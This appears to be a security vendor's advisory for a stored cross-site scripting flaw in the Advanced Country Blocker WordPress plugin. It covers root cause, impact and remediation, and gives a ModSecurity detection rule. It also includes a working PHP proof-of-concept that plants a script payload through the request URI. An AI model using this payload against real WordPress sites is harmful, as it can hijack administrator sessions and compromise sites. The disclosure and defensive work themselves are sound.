Opens in a new tab
Published : November 17, 2026

CVE-2026-116758: Advanced Country Blocker <= 2.3.2 Unauthenticated Stored Cross-Site Scripting via 'REQUEST_URI' Server Variable PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.3.2
Patched Version —
Disclosed November 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-116758 (metadata-based): CVE-2026-116758 is an unauthenticated stored cross-site scripting vulnerability in the Advanced Country Blocker WordPress plugin, affecting versions up to and including 2.3.2. The vulnerability resides in the handling of the ‘REQUEST_URI’ server variable, which the plugin captures and stores in the ‘advcb_live_activity’ transient on the init hook. An attacker can inject arbitrary web scripts that later execute when an administrator views the Live Monitor page. The CVSS score is 7.2 (High), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N, indicating network-based exploitation, no privileges required, no user interaction required, and scope change due to execution in the admin’s browser context.

Root Cause: The root cause is improper neutralization of input during web page generation (CWE-79). Atomic Edge research infers from the description that the plugin fails to sanitize the ‘REQUEST_URI’ server variable before storing it, and fails to escape it during output. Specifically, the stored URI is concatenated into a double-quoted HTML title attribute and inserted into the DOM using jQuery’s .html() method. This combination allows an attacker to break out of the attribute context and inject arbitrary JavaScript. The description confirms that the vulnerability involves the ‘advcb_live_activity’ transient and the init hook, but without a code diff, the exact sanitization and escaping functions missing are inferred from the CWE and vulnerability pattern.

Exploitation: An unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to any page that triggers the init hook, with a malicious payload in the request URI. The payload is stored in the ‘advcb_live_activity’ transient. When an administrator later visits the Live Monitor page, the stored URI is inserted into the DOM without proper escaping, causing the script to execute. The attack vector is network-based, requiring no authentication or user interaction. Atomic Edge analysis indicates that the payload must be crafted to survive any potential normalization and to break out of the title attribute context, for example: “>alert(document.cookie).

Remediation: The fix for this vulnerability requires proper input sanitization and output escaping. Atomic Edge analysis suggests that the plugin should sanitize the ‘REQUEST_URI’ server variable before storing it in the transient, using WordPress functions such as sanitize_text_field or esc_url_raw. Additionally, when rendering the stored URI in the Live Monitor page, the plugin must escape the output using esc_attr or esc_js, and avoid using jQuery’s .html() method to insert untrusted data. Instead, use .text() or explicitly escape the data. The patched version should ensure that all user-controllable data is properly neutralized for the context in which it is used.

Impact: Successful exploitation of CVE-2026-116758 allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an administrator’s browser session. This can lead to session hijacking, data theft, privilege escalation, and potentially full site compromise if the attacker leverages the XSS to create new administrative users or install malicious plugins. The scope change (S:C) indicates that the vulnerable component (the plugin) impacts resources beyond its security scope (the admin’s browser), amplifying the risk. Atomic Edge research assesses the impact as high due to the lack of authentication and user interaction requirements.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-116758 (metadata-based)
# This rule blocks XSS attempts targeting the REQUEST_URI parameter, which is stored and later executed.
# The rule inspects the REQUEST_URI for common XSS patterns. It is narrowly scoped to the plugin's
# vulnerable parameter (REQUEST_URI) and uses a regex to detect script tags and event handlers.

SecRule REQUEST_URI "@rx (?i)(<script|%3Cscript|onerror|onload|onmouseover|javascript:)" 
    "id:2026116758,phase:2,deny,status:403,msg:'CVE-2026-116758: Advanced Country Blocker Stored XSS via REQUEST_URI',severity:'CRITICAL',tag:'CVE-2026-116758',tag:'WordPress',tag:'XSS'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-116758 - Advanced Country Blocker <= 2.3.2 - Unauthenticated Stored Cross-Site Scripting via 'REQUEST_URI' Server Variable

// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress site
$payload = '"><script>alert(document.cookie)</script>'; // XSS payload

// Initialize cURL
$ch = curl_init();

// We need to send a request with the malicious payload in the URI.
// The plugin captures REQUEST_URI on the init hook, so any page load will trigger it.
// We use a GET request to a non-existent path to avoid caching and ensure the URI is logged.
$malicious_uri = '/?xss=' . urlencode($payload);
$url = $target_url . $malicious_uri;

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Request sent to: $urln";
    echo "HTTP status code: $http_coden";
    echo "Payload stored if the plugin is vulnerable. Check the Live Monitor page as admin to trigger.n";
}

// Close cURL
curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.